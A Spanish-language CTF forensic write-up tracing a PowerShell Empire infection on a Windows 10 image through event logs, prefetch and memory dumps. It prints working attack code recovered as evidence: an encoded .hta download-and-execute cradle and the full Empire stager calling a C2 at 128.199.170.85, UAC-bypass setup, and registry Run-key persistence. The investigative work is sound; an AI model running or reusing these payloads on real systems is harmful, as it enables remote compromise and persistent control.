Forensic CTF Writeup: Baud, James Baud (IV)

Como ya vimos en el artículo anterior, habíamos encontrado un .hta que ejecutaba un script en Powershell que a todas luces parecía malicioso. Nos quedamos con la mosca detrás de la oreja, así que aunque estemos fuera del alcance del CTF, vamos a intentar tirar del hilo para ver si somos capaces de saber qué ha sucedido en el equipo.

[Nota: Como esta parte es un bonus, no vamos a intentar hacerla por duplicado en Windows y Linux, que bastante trabajo llevaron algunas cosas.]

Nos gustaría responder a estas preguntas:

  • ¿Qué malware se ha desplegado en el equipo?
  • ¿Qué acciones maliciosas se han realizado en el sistema?
  • ¿Cuál ha sido el vector de entrada de esta infección?

El .hta que recuperamos tenía este contenido:

<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAcwBUAGUAbQAuAE4AZQBUAC4AUwBFAFIAdgBJAGMARQBQAG8ASQBOAHQATQBBAG4AQQBHAGUAUgBdADoAOgBFAFgAcABFAEMAdAAxADAAMABDAG8AbgBUAEkATgB1AEUAIAA9ACAAMAA7ACQAdwBjAD0ATgBFAHcALQBPAGIAagBlAGMAdAAgAFMAWQBzAHQARQBtAC4ATgBFAHQALgBXAGUAQgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQwAuAEgAZQBhAEQARQBSAFMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAUgBPAFgAWQAgAD0AIABbAFMAeQBzAFQARQBtAC4ATgBlAHQALgBXAEUAQgBSAGUAUQBVAEUAcwBUAF0AOgA6AEQAZQBmAGEAdQBMAHQAVwBFAEIAUABSAE8AeABZADsAJABXAGMALgBQAHIAbwB4AHkALgBDAFIAZQBkAGUAbgBUAGkAYQBsAFMAIAA9ACAAWwBTAFkAUwBUAEUATQAuAE4AZQBUAC4AQwByAGUAZABlAE4AdABpAGEATABDAEEAYwBIAEUAXQA6ADoARABFAEYAQQBVAEwAdABOAGUAdAB3AE8AUgBrAEMAUgBFAGQAZQBOAFQASQBhAEwAcwA7ACQASwA9ACcAOQB4AG0AYQBWAE8ARgBYAEcANAAvAD8AKAAxAGgAJABBADMAIwB3AEQAfAAtAFMAIQAuADcAXQBKAHkASABCACcAOwAkAEkAPQAwADsAWwBjAEgAYQByAFsAXQBdACQAYgA9ACgAWwBjAEgAQQByAFsAXQBdACgAJABXAEMALgBEAE8AVwBuAGwATwBhAEQAUwBUAFIAaQBOAEcAKAAiAGgAdAB0AHAAOgAvAC8AMQAyADgALgAxADkAOQAuADEANwAwAC4AOAA1ADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AQgBYAE8AUgAkAEsAWwAkAEkAKwArACUAJABrAC4ATABFAE4AZwBUAEgAXQB9ADsASQBFAFgAIAAoACQAYgAtAEoAbwBpAG4AJwAnACkA'
new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>

Básicamente dice “ejecuta este script de Powershell que tengo codificado en base64”. Si decodificamos el base64 con un poco de Python obtenemos esta salida:

'[\x00S\x00y\x00s\x00T\x00e\x00m\x00.\x00N\x00e\x00T\x00.\x00S\x00E\x00R\x00v\x00I\x00c\x00E\
x00P\x00o\x00I\x00N\x00t\x00M\x00A\x00n\x00A\x00G\x00e\x00R\x00]\x00:\x00:\x00E\x00X\x00p\x00E
\x00C\x00t\x001\x000\x000\x00C\x00o\x00n\x00T\x00I\x00N\x00u\x00E\x00 \x00=\x00 \x000\x00;\x00$
\x00w\x00c\x00=\x00N\x00E\x00w\x00-\x00O\x00b\x00j\x00e\x00c\x00t\x00 
\x00S\x00Y\x00s\x00t\x00E\x00m\x00.\x00N\x00E\x00t\x00.\x00W\x00e\x00B\x00C\x00l\x00i\x00e\x00n
\x00t\x00;\x00$\x00u\x00=\x00\'\x00M\x00o\x00z\x00i\x00l\x00l\x00a\x00/\x005\x00.\x000\x00 \x00
(\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00N\x00T\x00 \x006\x00.\x001\x00;\x00 \x00W\x00O\x00W
\x006\x004\x00;\x00 \x00T\x00r\x00i\x00d\x00e\x00n\x00t\x00/\x007\x00.\x000\x00;\x00 \x00r\x00v
\x00:\x001\x001\x00.\x000\x00)\x00 \x00l\x00i\x00k\x00e\x00 
\x00G\x00e\x00c\x00k\x00o\x00\'\x00;\x00$\x00w\x00C\x00.\x00H\x00e\x00a\x00D\x00E\x00R\x00S\x00.
\x00A\x00d\x00D\x00(\x00\'\x00U\x00s\x00e\x00r\x00-\x00A\x00g\x00e\x00n\x00t\x00\'\x00,\x00$\x00u
\x00)\x00;\x00$\x00W\x00C\x00.\x00P\x00R\x00O\x00X\x00Y\x00 \x00=\x00 
\x00[\x00S\x00y\x00s\x00T\x00E\x00m\x00.\x00N\x00e\x00t\x00.\x00W\x00E\x00B\x00R\x00e\x00Q\x00U
\x00E\x00s\x00T\x00]\x00:\x00:\x00D\x00e\x00f\x00a\x00u\x00L\x00t\x00W\x00E\x00B\x00P\x00R\x00O
\x00x\x00Y\x00;\x00$\x00W\x00c\x00.\x00P\x00r\x00o\x00x\x00y\x00.\x00C\x00R\x00e\x00d\x00e\x00n
\x00T\x00i\x00a\x00l\x00S\x00 \x00=\x00 
\x00[\x00S\x00Y\x00S\x00T\x00E\x00M\x00.\x00N\x00e\x00T\x00.\x00C\x00r\x00e\x00d\x00e\x00N\x00t
\x00i\x00a\x00L\x00C\x00A\x00c\x00H\x00E\x00]\x00:\x00:\x00D\x00E\x00F\x00A\x00U\x00L\x00t\x00N
\x00e\x00t\x00w\x00O\x00R\x00k\x00C\x00R\x00E\x00d\x00e\x00N\x00T\x00I\x00a\x00L\x00s\x00;\x00$
\x00K\x00=\x00\'\x009\x00x\x00m\x00a\x00V\x00O\x00F\x00X\x00G\x004\x00/\x00?\x00(\x001\x00h\x00$
\x00A\x003\x00#\x00w\x00D\x00|\x00-
\x00S\x00!\x00.\x007\x00]\x00J\x00y\x00H\x00B\x00\'\x00;\x00$\x00I\x00=\x000\x00;\x00[\x00c\x00H
\x00a\x00r\x00[\x00]\x00]\x00$\x00b\x00=\x00(\x00[\x00c\x00H\x00A\x00r\x00[\x00]\x00]\x00(\x00$
\x00W\x00C\x00.\x00D\x00O\x00W\x00n\x00l\x00O\x00a\x00D\x00S\x00T\x00R\x00i\x00N\x00G\x00(\x00"
\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x001\x002\x008\x00.\x001\x009\x009\x00.\x001\x007\x000\x00.
\x008\x005\x00:\x008\x000\x008\x000\x00/\x00i\x00n\x00d\x00e\x00x\x00.\x00a\x00s\x00p\x00"\x00)
\x00)\x00)\x00|\x00%\x00{\x00$\x00_\x00-\x00B\x00X\x00O\x00R\x00$\x00K\x00[\x00$\x00I\x00+\x00+
\x00%\x00$\x00k\x00.\x00L\x00E\x00N\x00g\x00T\x00H\x00]\x00}\x00;\x00I\x00E\x00X\x00 \x00(\x00$
\x00b\x00-\x00J\x00o\x00i\x00n\x00\'\x00\'\x00)\x00']'

Esos caracteres nulos nos molestan, así que aplicamos un poco de sed para hacer limpieza:

 # sed -e s'/\\x00//g' script_chungo.txt > script_chungo_limpio.txt

Con el script algo más depurado podemos proceder a abrirlo y ver qué lleva dentro (está editado únicamente para mejorar la legibilidad):

[SysTem.NeT.SERvIcEPoINtMAnAGeR]::EXpECt100ConTINuE = 0;
$wc=NEw-Object SYstEm.NEt.WeBClient;
$u=\'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\';
$wC.HeaDERS.AdD(\'User-Agent\',$u);
$WC.PROXY = [SysTEm.Net.WEBReQUEsT]::DefauLtWEBPROxY;
$Wc.Proxy.CRedenTialS = [SYSTEM.NeT.CredeNtiaLCAcHE]::DEFAULtNetwORkCREdeNTIaLs;
$K=\'9xmaVOFXG4/?(1h$A3#wD|-S!.7]JyHB\';
$I=0;
[cHar[]]$b=([cHAr[]]($WC.DOWnlOaDSTRiNG("http://128.199.170.85:8080/index.asp")))|%{$_-BXOR$K[$I++%$k.LENgTH]};
IEX ($b-Join\'\')

El script usa la clase de .NET WebClient, le indica que use el proxy y las credenciales por defecto del sistema y que se descargue algo de la URL http://128.199.170.85:8080/index.asp. A continuación pasa esa cadena por un XOR con la clave definida en $K y procede a su ejecución (IEX = Invoke-Expression para los amigos).

Si buscamos la cadena “|%{$_-BXOR$K[$I++%$k.LENgTH]};” encontramos un hit directo con Empire, un framework de post-explotación en PowerShell con una lista de funcionalidades para hacer el mal más larga que un día sin conexión a Internet. Bueno, ya sabemos a priori a lo que nos estamos enfrentando (y hemos contestado a la primera pregunta de nuestro análisis).

El problema es que PowerShell tiene una funcionalidad que los atacantes adoran: ejecutar código directamente en memoria, de modo que el código malicioso no llega a tocar el disco duro y complica sobremanera la respuesta al incidente del blue team. Podemos comprobarlo intentando buscar indicios de la petición anterior: como no se ha hecho a través de un navegador no la encontramos en los historiales de navegación ni en las cachés.

La ejecución de cmdscan y consoles no ofrece resultados, así que tampoco tenemos constancia de qué se ha podido ejecutar en línea de comandos, por lo que posiblemente Volatility no nos vaya a ayudar mucho en esta parte (aunque Volatility es mucho Volatility).

Tenemos sin embargo otras vías de investigación que pueden permitirnos discernir qué ha hecho el atacante. La primera pasa por las utilidades del sistema que se han ejecutado, información que obtuvimos anteriormente a través del análisis de los prefetch. Si analizamos esta información encontramos diversas ejecuciones sospechosas: Whoami.exe, Tasklist.exe, Net.exe, Net1.exe, Powershell.exe, Sc.exe. Estas ejecuciones nos pueden dar algunas pistas de lo que pudiera estar haciendo el atacante (aunque sea una visión parcial). En primer lugar realiza una inspección del equipo con whoami , tasklist y net, y ejecuta un nuevo proceso de Powershell.

Vamos a ver si tenemos suerte y concurren dos situaciones: que se estén guardando logs de Powershell, y que el atacante no los haya borrado. Aquí por fin Windows 10 nos viene bien, ya que viene por defecto con el logging de Powershell activado, lo que nos va a venir genial.

Los logs los tenemos en “Windows\System32\winevt\Logs”, y al parecer están en buen estado, teniendo tres relativos a PowerShell:

  • Microsoft-Powershell
  • Microsoft-Windows-PowerShell-Admin
  • Microsoft-Windows-PowerShell-Operational

Como la descarga del .hta se produjo a las 03.24AM del 30/10/2016, vamos a revisar los logs de PowerShell a partir de esa hora para ver si encontramos algo de interés. Toca en este punto indicar que, aunque se puede usar Python-evtx en Linux, la forma más operativa es abrir los logs directamente en el visor de Windows ya que tendremos acceso a búsquedas y una gestión mucho más rápida.

El segundo de los logs está vacío, pero el tercero es una verdadera mina de oro para nuestra investigación, ya que muestra el PowerShell en toda su (maléfica) gloria. En primer lugar captura a nuestro script ya conocido a las 03:24:40, para luego en el mismo segundo soltar esta belleza (editada para su legibilidad):

FUNCTIOn StArt-NegoTIaTe{param($s,$SK,$UA="lol")
ADd-TYpE -asSEMbLY SySTem.SecURiTY;
ADD-TYpE -AsSEMbLY SYSTEM.CORe;
$ErrorActionPreference = "SilentlyContinue";
$E=[SYStem.TeXT.ENcodING]::ASCII;
$AES=NeW-ObJECt SystEM.SeCuRiTy.CRYPtOgraphy.AESCrYPtOSeRVICEPRovIDeR;
$IV = [BYTE] 0..255 | GET-RanDoM -coUNT 16;
$AES.Mode="CBC"; 
$AES.Key=$e.GetBytes($SK); 
$AES.IV = $IV;
$cSP = NEw-OBJECt SySTeM.SECURIty.CRYpTOGrAphY.CsPPArAmetERS;
$Csp.FLAgS = $cSP.FLAGS -bor [SyStEm.SECurITy.CrYpToGRaphy.CSPPrOvidErFlAGs]::UseMAchInEKeYSToRE;
$Rs = NEw-OBjeCt SySTeM.SecURIty.CryPTograpHY.RSACryPTOSErViCePrOVIdEr -ArgumEntLIsT 2048,$csP;
$RK=$Rs.ToXmlSTRInG($FALse);
$r=1..16|ForEach-OBjEct{Get-RAnDoM -mAx 26};
$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$R] -JoIn '');
$ib=$e.gETByTeS($rK);
$eB=$IV+$AES.CREAteENCrypToR().TRAnSFoRMFiNalBLocK($ib,0,$IB.LeNGTH);
If(-nOt $WC){$wc=neW-ObjEct SyStem.NeT.WEBCLIEnt;
$wc.ProxY = [SYsteM.NeT.WeBReQUEST]::GeTSystemWEbPROxY();
$wc.PROXy.CRedeNTIALS = [SysTem.NET.CreDenTiALCacHE]::DeFaulTCrEdEnTIaLS;}$wc.Headers.Add("User-Agent",$UA);
$wc.Headers.Add("Cookie","SESSIONID=$ID");
$raw=$wc.UploadData($s+"index.jsp","POST",$eb);
$DE=$E.GETSTRiNG($rs.decRyPT($Raw,$fAlse));
$ePocH=$De[0..9] -jOIn'';
$key=$de[10..$De.LENGth] -joiN '';
$AES=NeW-OBjecT SysTeM.SecURiTy.CrYPTOgrapHY.AesCRyPTOSErVICePROVIder;
$IV = [byTE] 0..255 | GET-RaNdoM -cOUnT 16;
$AES.Mode="CBC"; 
$AES.Key=$e.GetBytes($key); 
$AES.IV = $IV;
$I=$s+'|'+[EnVIrONMeNt]::UsERDOMaInNaMe+'|'+[ENVIRONMeNt]::UsERNAme+'|'+[ENVIRonMeNT]::MaChinENAME;
$p=(gwMI Win32_NEtwORkAdaPterCOnfiGUratIoN|WHeRe{$_.IPAdDreSS}|SeLect -Expand IPADdRess);
$IP = @{$tRUe=$p[0];$False=$p}[$P.LenGTh -Lt 6];
IF(!$Ip -oR $Ip.TRiM() -eQ '') {$iP='0.0.0.0'};
$i+="|$ip";$I+='|'+(GEt-WMiObJECT Win32_OPeRatinGSYsteM).NAME.SPLIt('|')[0];
if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$N=[SYstEM.DiAGnOsTIcS.PrOCesS]::GeTCurReNTPROceSS();
$I+='|'+$N.PrOcESsNAME+'|'+$n.ID;
$I += '|' + $PSVErsiOnTABLe.PSVErSIoN.MajOr;
$Ib2=$e.geTBYtEs($i);
$EB2=$IV+$AES.CREatEEnCRYPtOr().TraNSfoRMFInAlBLoCk($IB2,0,$Ib2.LEnGth);
$wc.Headers.Add("User-Agent",$UA);
$raw=$wc.UploadData($s+"index.php","POST",$eb2);
$AES=NEw-OBJect SySTEM.SECUriTy.CrYPToGrAphy.AESCrYPToSeRViCEPrOvIder;
$AES.Mode="CBC";$IV = $RAW[0..15];$AES.Key=$E.GeTBYTEs($KEY);
$AES.IV = $IV;
IEX $([SystEM.TEXt.ENcOdIng]::ASCII.GeTSTrING( $($AES.CReatEDEcrYPtoR().TRANSFOrMFINalBlocK($RaW[16..$rAW.LENGTH],0,$raW.LENgth-16))));
$AES=$nUll;
$s2=$Null;
$WC=$nULl;
$Eb2=$NUlL;
$Raw=$NULL;
$IV=$Null;
$wC=$NulL;
$i=$nUll;
$IB2=$Null;
[GC]::CoLlEct();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "http://128.199.170.85:8080/" -SK '9xmaVOFXG4/?(1h$A3#wD|-S!.7]JyHB' -UA $u;.

Tiene toda la pinta de ser el contenido de la URL del script anterior. Sabiendo que estamos tratando con Empire, una búsqueda sencilla en Google nos indica que es tal cual el stager.ps1.

La misión de un stager de Empire es básicamente recoger información básica del sistema (nombre de usuario, nombre del equipo, nombre del dominio, IP, identificador del proceso) y enviarla al servidor de C2 mediante una petición POST (en este caso a la URI http://128.199.170.85:8080/index.php). A continuación, el servidor de Empire devuelve un agente (el RAT completo). Tenéis en la web de Empire el código PowerShell perfectamente explicado y el proceso por si queréis echarle un ojo más en detalle.

A las 03.35:49 tenemos otro log de ejecución:

function Invoke-BypassUAC
{
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False)]
        [string]
        $PayloadPath,
        [Parameter(Mandatory = $False)]
        [string]
        $Command,
        [Parameter(Mandatory = $False)]
        [switch]
        $PatchExitThread=$false
    )
    Set-StrictMode -Version 2.0
    if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) {
        "[!] Current user not a local administrator!"
        Throw ("Current user not a local administrator!")
    }
    if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) {
        "[!] Not in a medium integrity process!"
        Throw ("Not in a medium integrity process!")
    }
    function Local:Invoke-PatchDll {
        [CmdletBinding()]
        param(
            [Parameter(Mandatory = $True)]
            [Byte[]]
            $DllBytes,
            [Parameter(Mandatory = $True)]
            [string]
            $FindString,
            [Parameter(Mandatory = $True)]
            [string]
            $ReplaceString
        )
        $FindStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($FindString)
        $ReplaceStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($ReplaceString)
        $index = 0
        $s = [System.Text.Encoding]::ASCII.GetString($DllBytes)
        $index = $s.IndexOf($FindString)
        if($index -eq -1)
        {
            throw("Could not find string $FindString !")
        }
        for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++)
        {
            $DllBytes[$index+$i]=$ReplaceStringBytes[$i]
        }
        return $DllBytes
    }
    function Local:Write-HijackDll {
        [CmdletBinding()]
        param(
            [Parameter(Mandatory = $True)]
            [string]
            $OutputFile,
            [string]
            $BatchPath,        
            [string]
            $Arch
        )
        $DllBytes32 = "TVqQAAMAAAAEAAAA// … y una pila de base64 más. 
        $DllBytes64 = "TVqQAAMAAAAEAAAA// … y una pila de base64 más. 
	(cortamos el resto del script ya que no aporta nada a priori)

Seguimos con Empire, en este caso Invoke-BypassUAC.ps1 (y saludamos al whoami.exe que habíamos visto en el Prefetch). Este PowerShell nos permite esquivar UAC (User Account Control) y ejecutar comandos en el sistema mediante la inyección de una .dll maliciosa en un programa legítimo.

Y ahora entiendo el porqué de la ejecución de cliconfig.exe, un cliente de configuración de SQL Server, que aparecía en el Prefetch a la vez que el whoami.exe (al parecer es un programa muy elegido para hacer estos bypass). Con Invoke-BypassUAC han podido ejecutar cualquier código que deseen con privilegios del usuario, así que tendremos que seguir investigando.

A las 03:36:01 encontramos un nuevo trozo de código:

em.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage)) {
                    if ($data.GetType().Name -eq "ErrorRecord"){
                        $statusCode = [int]$_.Exception.Response.StatusCode
                        if ($statusCode -eq 0){
                        }
                    }
                    else {
                        $script:MissedCheckins=0
                        Process-Tasking $data
                    }
                }
                else {
                }
            }
            [GC]::Collect()
        }
    }
}

Que corresponde a agent.ps1, lo que se denomina un agente de Empire, y que establece una comunicación permanente con el servidor. Con este código podemos determinar que el equipo está completamente comprometido por una funcionalidad tipo RAT. Lo que se debería hacer a partir de este momento con este equipo una vez finalizado el análisis sería, como dicen en “Aliens, el Regreso”: “Nuke it from orbit”, ya que a partir de este punto el atacante puede ejecutar a través de Empire cualquier acción que desee en el equipo.

A las 03:46:58 encontramos una entrada interesante:

CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.DirectoryServices.AccountManagement"

Con lo que parece ser un comando que afecta a la gestión de cuentas.

Y la traca final en 03:55:53 y 03:57:13 con los dos mensajes que aparecen en la pantalla del usuario (gracias al Message.py del infame módulo trollsploit) y que podemos observar en los dos .jpg que aparecen en el CTF.

function Invoke-Message {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $True, Position = 0)]
        [String] $MsgText,
        [Parameter(Mandatory = $False, Position = 1)]
        [String] $IconType = 'Critical',
        [Parameter(Mandatory = $False, Position = 2)]
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
}
Invoke-Message -MsgText "Your Mother and I had a magical time together! Truly a classy lady." -IconType "Critical" -Title "Public Service Announcement For Roger Moore"
f63aff54-acc8-4261-a63f-3dc51a979caa

 
function Invoke-Message {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $True, Position = 0)]
        [String] $MsgText,
        [Parameter(Mandatory = $False, Position = 1)]
        [String] $IconType = 'Critical',
        [Parameter(Mandatory = $False, Position = 2)]
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
}
Invoke-Message -MsgText "I've won Roger. I deleted your files and disarmed your dead man's switch. I'll see you in hell!" -IconType "Critical" -Title "Public Service Announcement For Roger Moore"

Los logs tienen bastantes errores de entradas que no pueden mostrarse, que no tengo claro si son debidos a que han sido borrados por las acciones de Empire, se han borrado a posteriori y vienen a causa de la operativa de PowerShell. De todas formas, tenemos información suficiente como para saber lo que ha pasado: se ha desplegado Powershell Empire en el equipo.

Si revisamos el resto de logs podemos encontrar algunas cosas interesantes en el de seguridad:

03:46:58

Se creó una cuenta de usuario.

Sujeto:
	Id. de seguridad:		S-1-5-21-953800751-2400974954-989693825-1001
	Nombre de cuenta:		RogerMoore
	Dominio de cuenta:		DESKTOP-8P787RI
	Id. de inicio de sesión:		0xab19e

Nueva cuenta:
	Id. de seguridad:		S-1-5-21-953800751-2400974954-989693825-1002
	Nombre de cuenta:		SConWuzHere
	Dominio de cuenta:		DESKTOP-8P787RI

Atributos:
	Nombre de cuenta SAM:	SConWuzHere
	Nombre para mostrar:		
	Nombre principal de usuario:	-
	Directorio principal:		
	Unidad principal:		
	Ruta de acceso de script:		
	Ruta de acceso de perfil:		
	Estaciones de trabajo de usuario:	
	Última contraseña establecida:	
	Expiración de cuenta:		
	Id. de grupo primario:	513
	Se permite delegación a:	-
	Valor de UAC anterior:		0x0
	Nuevo valor de UAC:		0x15
	Control de cuentas de usuario:	
		Cuenta deshabilitada
		"No se necesita contraseña" - Habilitado
		"Cuenta normal" - Habilitado
	Parámetros de usuario:	
	Historial de SID:		-
	Horas de inicio de sesión:		Todo

Información adicional:
	Privilegios		-


03:47:01

Se agregó un miembro a un grupo local con seguridad habilitada.

Sujeto:
	Id. de seguridad:		S-1-5-21-953800751-2400974954-989693825-1001
	Nombre de cuenta:		RogerMoore
	Dominio de cuenta:		DESKTOP-8P787RI
	Id. de inicio de sesión:		0xab19e

Miembro:
	Id. de seguridad:		S-1-5-21-953800751-2400974954-989693825-1002
	Nombre de cuenta:		-

Grupo:
	Id. de seguridad:		BUILTIN\Administradores
	Nombre de grupo:		Administrators
	Dominio de grupo:		Builtin

Información adicional:
	Privilegios:		-

El atacante crea una cuenta la cuenta de usuario “SConWuzHere” y le da privilegios de administrador. Esto lo habíamos visto pero sin darnos cuenta cuando lanzamos rip.pl para sacar los usuarios del sistema:

Group Name    : Administrators [3]
LastWrite     : Sun Oct 30 02:47:01 2016 Z
Group Comment: Administrators have complete and unrestricted access to the computer/domain
Users:
  S-1-5-21-953800751-2400974954-989693825-1001 
  S-1-5-21-953800751-2400974954-989693825-1002
  S-1-5-21-953800751-2400974954-989693825-500
1001: RogerMoore, 1002: Sean Connery

De los logs ya hemos sacado a priori todo lo que podíamos, así que vamos a poner en juego de nuevo a Volatility, ya que en un pslist anterior habíamos visto dos instancias de powershell.exe. Podemos volcar la memoria de ambos procesos y rebuscar por un conjunto de cadenas de text de inteés, como podrían ser: “powershell.exe, 128.199.170.85, whoami.exe, cliconfig.exe, net.exe, .vbs, Invoke-, -Enc”

El trabajo es costoso pero encontramos algunas cositas interesantes:

Item1 : 

        $szElevDll = 'NTWDBLIB.dll'
        $szElevDir = $env:WINDIR + "\System32"
        $szElevDirSysWow64 = ''
        $szElevExeFull = "$szElevDir\cliconfg.exe"
        $szElevDllFull = "$szElevDir\$szElevDll"
        $szTempDllPath = $TempPayloadPath

Aquí tenemos la configuración de Invoke-BypassUAC.ps1 en el que se indica que haga uso de cliconfig.exe.

Item 2: 

128.199.170.85:8080/login/process.jsp
128.199.170.85:8080/admin/get.php
128.199.170.85:8080/news.asp

Múltiples conexiones contra el C2, que si buscamos el patrón de la URI veremos que se corresponde línea por línea con la API RESTful de Empire:

 "DefaultProfile":
{
"Description":"Default communication profile for theagent.",
"Required": true,
"Value": “/admin/get.php,/news.asp,/login/process.jsp |Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko”
}
Item 3:

[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.Vbe.Interop") | Out-Null;
cd HKCU:\SOFTWARE\Microsoft\Office\;
gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security'))
{if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\Security') -Name AccessVBOM) -eq 0)
{sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\Security') -Name AccessVBOM -Value 1;
"Updated Registry`n"}else{return;}}};
cd $env:APPDATA'\Microsoft\Templates\';
$word = New-Object -ComObject Word.Application;
"Opening Word`n";
$word.visible = $false;
cp Normal.dotm AbNormal.dotm;
$doc = $word.Documents.Open(${env:APPDATA}+'\Microsoft\Templates\AbNormal.dotm');
$macro = $doc.VBProject.VBComponents.Add(1);$code = 

Otra nueva tool de Empire, Normal.ps1 es parte del toolkit de persistencia, y genera en este caso un documento de Word con una macro asociada que relanza el stager para recuperar la conexión (irónicamente este script ha fallado ya que en el equipo parece que solo está instalado Open Office, no Microsoft Office).

Item 4:

$RegPath = 'HKCU:Software\Microsoft\Windows\CurrentVersion\Debug';
$parts = $RegPath.split('\');
$path = $RegPath.split("\")[0..($parts.count -2)] -join '\';
$name = $parts[-1];
$null=Set-ItemProperty -Force -Path $path -Name $name -Value WwBTAFkAcwBUAGUATQAuAE4ARQBUAC4AUwBlAHIAVgBpAGMARQBQAG8ASQBOAHQATQBhAG4AYQBnAGUAUgBdADoAOgBFAHgAcABFAEMAdAAxADAAMABDAE8AbgBUAEkATgBVAEUAIAA9ACAAMAA7ACQAdwBDAD0ATgBFAHcALQBPAEIASgBlAGMAVAAgAFMAeQBzAHQARQBtAC4ATgBFAFQALgBXAEUAYgBDAGwASQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgARQBBAGQARQBSAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAUgBPAFgAWQAgAD0AIABbAFMAeQBzAFQARQBtAC4ATgBFAHQALgBXAEUAYgBSAGUAUQB1AGUAcwB0AF0AOgA6AEQAZQBmAEEAdQBsAHQAVwBlAEIAUAByAE8AeAB5ADsAJAB3AGMALgBQAHIATwBYAHkALgBDAFIARQBEAGUAbgBUAGkAYQBsAHMAIAA9ACAAWwBTAFkAUwB0AEUATQAuAE4AZQBUAC4AQwByAEUARABlAE4AdABpAGEAbABDAEEAYwBoAEUAXQA6ADoARABlAGYAQQBVAEwAdABOAEUAdAB3AG8AUgBrAEMAUgBFAEQARQBuAFQAaQBhAGwAcwA7ACQASwA9ACcAOQB4AG0AYQBWAE8ARgBYAEcANAAvAD8AKAAxAGgAJABBADMAIwB3AEQAfAAtAFMAIQAuADcAXQBKAHkASABCACcAOwAkAGkAPQAwADsAWwBDAEgAQQBSAFsAXQBdACQAQgA9ACgAWwBDAEgAYQBSAFsAXQBdACgAJABXAGMALgBEAE8AVwBOAGwATwBhAGQAUwBUAHIAaQBOAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAyADgALgAxADkAOQAuADEANwAwAC4AOAA1ADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAG8AcgAkAEsAWwAkAEkAKwArACUAJABLAC4ATABlAG4ARwBUAEgAXQB9ADsASQBFAFgAIAAoACQAYgAtAGoATwBJAE4AJwAnACkA;
$null=Set-ItemProperty -Force -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name RogersHappyPlace -Value '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug);
powershell -Win Hidden -enc $x"';
Registry persistence established using listener test stored in HKCU:Software\Microsoft\Windows\CurrentVersion\Debug.'

Ya echábamos de menos un poquito de persistencia en el registro. Aquí tenemos un trozo de Registry.ps1, la parte del toolkit de persistencia de Empire que se guarda en el registro. Como detalle curioso, la persistencia se hace por completo en el registro (el propio stager se guarda en base64 en una clave del registro). Si accedemos a la clave correspondiente del registro podemos verlo ahí escondido con cara de “yo solo soy una inocente ristra de base64”.

baud4

Nota: Cuando se buscan cosas en el arranque de Windows se suele buscar en el hive SYSTEM, pero también hay que tener en cuenta que los usuarios también tienen sus propias opciones de arranque (que se ejecutan al inicio de sesión). Esta clave Run está en el NTUSER.DAT de cada usuario, y tendría que ser revisada convenientemente.

